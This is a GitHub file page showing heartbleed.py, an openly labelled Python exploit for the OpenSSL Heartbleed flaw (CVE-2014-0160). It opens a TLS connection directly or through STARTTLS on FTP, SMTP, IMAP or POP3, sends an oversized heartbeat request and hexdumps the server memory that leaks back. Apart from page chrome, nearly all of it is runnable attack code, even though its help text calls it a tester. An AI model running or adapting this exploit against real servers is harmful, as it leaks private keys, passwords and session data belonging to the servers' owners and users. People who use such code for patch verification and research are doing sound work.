-
Notifications
You must be signed in to change notification settings - Fork 80
/
heartbleed.py
executable file
·278 lines (235 loc) · 9.57 KB
/
heartbleed.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
#!/usr/bin/env python
# Exploitation of CVE-2014-0160 Heartbeat for the server
# Author: Peter Wu <peter@lekensteyn.nl>
# Licensed under the MIT license <http://opensource.org/licenses/MIT>.
# Python 2.6 compatibility
from __future__ import unicode_literals
import socket
import sys
import struct
import time
from argparse import ArgumentParser
# Hexdump etc
from pacemaker import hexdump, make_heartbeat, read_record, read_hb_response
from pacemaker import Failure, payload_len
parser = ArgumentParser(description='Test servers for Heartbleed (CVE-2014-0160)')
parser.add_argument('host', help='Hostname to connect to')
parser.add_argument('-6', '--ipv6', action='store_true',
help='Enable IPv6 addresses (implied by IPv6 listen addr. such as ::)')
parser.add_argument('-p', '--port', type=int, default=None,
help='TCP port to connect to (default depends on service)')
# Note: FTP is (Explicit FTPS). Use TLS for Implicit FTPS
parser.add_argument('-s', '--service', default='tls',
choices=['tls', 'ftp', 'smtp', 'imap', 'pop3'],
help='Target service type (default %(default)s)')
parser.add_argument('-t', '--timeout', type=int, default=3,
help='Timeout in seconds to wait for a Heartbeat (default %(default)d)')
parser.add_argument('-x', '--count', type=int, default=1,
help='Number of Heartbeats requests to be sent (default %(default)d)')
parser.add_argument('-n', '--payload-length', type=payload_len, default=0xffed,
dest='payload_len',
help='Requested payload length including 19 bytes heartbeat type, ' +
'payload length and padding (default %(default)#x bytes)')
default_ports = {
'tls': 443,
'ftp': 21,
'smtp': 25, # tcp port 587 is used for submission
'imap': 143,
'pop3': 110,
}
def make_clienthello(sslver='03 01'):
# openssl ciphers -V 'HIGH:!MD5:!PSK:!DSS:!ECDSA:!aNULL:!SRP' |
# awk '{gsub("0x","");print tolower($1)}' | tr ',\n' ' '
ciphers = u'''
c0 30 c0 28 c0 14 00 9f 00 6b 00 39 00 88 c0 32
c0 2e c0 2a c0 26 c0 0f c0 05 00 9d 00 3d 00 35
00 84 c0 12 00 16 c0 0d c0 03 00 0a c0 2f c0 27
c0 13 00 9e 00 67 00 33 00 45 c0 31 c0 2d c0 29
c0 25 c0 0e c0 04 00 9c 00 3c 00 2f 00 41
'''
ciphers_len = len(bytearray.fromhex(ciphers.replace('\n', '')))
# Handshake type and length will be added later
hs = sslver
hs += 32 * ' 42' # Random
hs += ' 00' # SID length
hs += ' 00 {0:02x}'.format(ciphers_len) + ciphers
hs += ' 01 00 ' # Compression methods (1); NULL compression
# Extensions length
hs += ' 00 05' # Extensions length
# Heartbeat extension
hs += ' 00 0f' # Heartbeat type
hs += ' 00 01' # Length
hs += ' 01' # mode (peer allowed to send requests)
hs_data = bytearray.fromhex(hs.replace('\n', ''))
# ClientHello (1), length 00 xx xx
hs_data = struct.pack(b'>BBH', 1, 0, len(hs_data)) + hs_data
# Content Type: Handshake (22)
record_data = bytearray.fromhex(u'16 ' + sslver)
record_data += struct.pack(b'>H', len(hs_data))
record_data += hs_data
return record_data
def skip_server_handshake(sock, timeout):
end_time = time.time() + timeout
hs_struct = struct.Struct(b'!BBH')
for i in range(0, 5):
record, error = read_record(sock, timeout)
timeout = end_time - time.time()
if not record:
raise Failure('Unexpected server handshake! ' + str(error))
content_type, sslver_num, fragment = record
if content_type != 22:
raise Failure('Expected handshake type, got ' + str(content_type))
sslver = '{0:02x} {1:02x}'.format(sslver_num >> 8, sslver_num & 0xFF)
off = 0
# Records may consist of multiple handshake messages
while off + hs_struct.size <= len(fragment):
hs_type, len_high, len_low = hs_struct.unpack_from(fragment, off)
if off + len_low > len(fragment):
raise Failure('Illegal handshake length!')
off += hs_struct.size + len_low
# Server handshake is complete after ServerHelloDone
if hs_type == 14:
# Ready to check for vulnerability
return sslver
raise Failure('Too many handshake messages')
def handle_ssl(sock, args, sslver='03 01'):
# ClientHello
sock.sendall(make_clienthello(sslver))
# Skip ServerHello, Certificate, ServerKeyExchange, ServerHelloDone
sslver = skip_server_handshake(sock, args.timeout)
# Are you alive? Heartbeat please!
try:
sock.sendall(make_heartbeat(sslver, args.payload_len))
except socket.error as e:
print('Unable to send heartbeat! ' + str(e))
return False
try:
memory = read_hb_response(sock, args.timeout)
if memory is not None and not memory:
print('Possibly not vulnerable')
return False
elif memory:
print('Server returned {0} ({0:#x}) bytes'.format(len(memory)))
hexdump(memory)
except socket.error as e:
print('Unable to read heartbeat response! ' + str(e))
return False
# "Maybe" vulnerable
return True
def test_server(args, prepare_func=None, family=socket.AF_INET):
try:
try:
sock = socket.socket(family=family)
sock.settimeout(args.timeout) # For writes, reads are already guarded
sock.connect((args.host, args.port))
except socket.error as e:
print('Unable to connect to {0}:{1}: {2}'.format(args.host, args.port, e))
return False
remote_addr, remote_port = sock.getpeername()[:2]
print('Connected to: {0}:{1}'.format(remote_addr, remote_port))
if prepare_func is not None:
prepare_func(sock)
print('Pre-TLS stage completed, continuing with handshake')
return handle_ssl(sock, args)
except (Failure, socket.error) as e:
print('Unable to check for vulnerability: ' + str(e))
return False
finally:
if sock:
sock.close()
class Linereader(object):
def __init__(self, sock):
self.buffer = bytearray()
self.sock = sock
def readline(self):
if not b'\n' in self.buffer:
self.buffer += self.sock.recv(4096)
nlpos = self.buffer.index(b'\n')
if nlpos >= 0:
line = self.buffer[:nlpos+1]
del self.buffer[:nlpos+1]
return line.decode('ascii')
return ''
class Services(object):
@classmethod
def get_prepare(cls, service):
name = 'prepare_' + service
if hasattr(cls, name):
return getattr(cls, name)
return None
@staticmethod
def readline_expect(reader, expected, what=None):
line = reader.readline()
if not line.upper().startswith(expected.upper()):
if what is None:
what = expected
raise Failure('Expected ' + expected + ', got ' + line)
return line
@classmethod
def prepare_ftp(cls, sock):
reader = Linereader(sock)
tls = False
cls.readline_expect(reader, '220 ', 'FTP greeting')
sock.sendall(b'FEAT\r\n')
cls.readline_expect(reader, '211-', 'FTP features')
for i in range(0, 64):
line = reader.readline().upper()
if line.startswith(' AUTH TLS'):
tls = True
if line.startswith('211'):
break
if not tls:
raise Failure('AUTH TLS not supported')
sock.sendall(b'AUTH TLS\r\n')
cls.readline_expect(reader, '234 ', 'AUTH TLS ack')
@classmethod
def prepare_smtp(cls, sock):
reader = Linereader(sock)
tls = False
# Server greeting
cls.readline_expect(reader, '220 ', 'SMTP banner')
sock.sendall(b'EHLO pacemaker\r\n')
# Assume no more than 16 extensions
for i in range(0, 16):
line = cls.readline_expect(reader, '250', 'extension')
if line[4:].upper().startswith('STARTTLS'):
tls = True
if line[3] == ' ':
break
if not tls:
raise Failure('STARTTLS not supported')
sock.sendall(b'STARTTLS\r\n')
cls.readline_expect(reader, '220 ', 'STARTTLS acknowledgement')
@classmethod
def prepare_imap(cls, sock):
reader = Linereader(sock)
# actually, the greeting contains PREAUTH or OK
cls.readline_expect(reader, '* ', 'IMAP banner')
sock.sendall(b'a001 STARTTLS\r\n')
cls.readline_expect(reader, 'a001 OK', 'STARTTLS acknowledgement')
@classmethod
def prepare_pop3(cls, sock):
reader = Linereader(sock)
cls.readline_expect(reader, '+OK')
sock.sendall(b'STLS\r\n')
cls.readline_expect(reader, '+OK')
def main(args):
family = socket.AF_INET6 if args.ipv6 else socket.AF_INET
prep_func = Services.get_prepare(args.service)
# OpenSSL expects a client key exchange after its ServerHello. After the
# first heartbeat, it will reset the connection. That's why we cannot just
# repeatedly send heartbeats as the client does. For that, we need to
# complete the handshake, but that requires a different implementation
# approach. For now just keep re-connecting, it will flood server logs with
# handshake failures though.
for i in range(0, args.count):
if not test_server(args, prepare_func=prep_func, family=family):
break
if __name__ == '__main__':
args = parser.parse_args()
if args.port is None:
args.port = default_ports[args.service]
try:
main(args)
except KeyboardInterrupt:
pass